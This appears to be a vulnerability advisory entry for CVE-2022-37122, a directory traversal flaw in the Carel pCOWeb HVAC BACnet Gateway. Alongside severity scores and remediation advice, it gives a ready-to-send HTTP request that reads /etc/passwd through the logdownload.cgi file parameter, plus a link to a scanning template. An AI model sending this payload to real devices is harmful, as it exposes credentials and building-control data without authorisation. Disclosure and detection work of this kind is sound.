| Title | Carel pCOWeb HVAC BACnet Gateway 2.1.0 - Path Traversal |
|---|---|
| Author | gy741 |
| Severity | High |
| Impact | Unauthenticated attackers can read arbitrary files from the Carel pCOWeb HVAC BACnet Gateway through directory traversal in the logdownload.cgi file parameter, potentially exposing sensitive configuration files, credentials, and HVAC system data. |
| Remediation | Update Carel pCOWeb HVAC BACnet Gateway to a version later than 2.1.0 that properly validates file paths in logdownload.cgi. |
| CVSS Score | 7.5 |
| EPSS Score | 0.58497 |
| CVE ID | CVE-2022-37122 |
| CWE ID | CWE-22 |
| Tags | cve cve2022 carel lfi traversal unauth bacnet vuln |
Carel pCOWeb HVAC BACnet Gateway 2.1.0 contains an unauthenticated arbitrary file disclosure caused by improper verification of the ‘file’ GET parameter in logdownload.cgi, letting attackers disclose sensitive files via directory traversal, exploit requires no authentication.
GET /usr-cgi/logdownload.cgi?file=../../../../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-37122.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-37122.pcap
N/AN/A